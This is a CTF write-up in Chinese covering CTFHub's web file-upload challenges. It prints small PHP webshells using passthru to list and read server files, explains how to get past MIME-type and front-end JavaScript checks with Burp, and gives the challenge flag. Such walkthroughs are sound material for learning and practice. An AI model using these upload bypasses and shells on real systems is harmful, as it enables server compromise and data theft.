【Writeup】CTFHUB-技能树-Web-文件上传
MIME绕过
随意上传php文件会显示文件类型不正确:
在本地写一个一句话木马:
1 <?php 2 passthru("ls /var/www/html");//执行外部程序并且显示原始输出 3 ?>
上传,Submit后通过Burp抓包,修改请求头中的Content-Type为image/jpeg,放到Repeater中调试。
发包,发现文件上传成功,路径为upload/test.php
发现var/www/html目录已被列出
此处可以使用菜刀、蚁剑等客户端查看,我选择继续上传木马查看flag_621016788.php的内容(注意不能直接在浏览器中访问)
1 <?php 2 passthru("cat /var/www/html/flag_621016788.php"); 3 ?>
重复之前的操作(上传成功-访问路径),此时在页面中看不到任何内容,查看响应发现flag(被注释掉了):
1 <?php // ctfhub{d9687ec78b08b67501144683517087233525cec8}
前端验证(js)
解题中用到的木马与思路与MIME绕过类似,在此不赘述
上传php木马,用burp抓包,但还没抓到的时候就显示“文件不允许上传”,说明这是在前端进行了验证:
修改木马扩展名为jpg,并在抓包后修改回php,Forward即可成功上传
余下与MIME绕过过程相同
无验证
与上述两题思路相同,因为没有验证所以直接上传php即可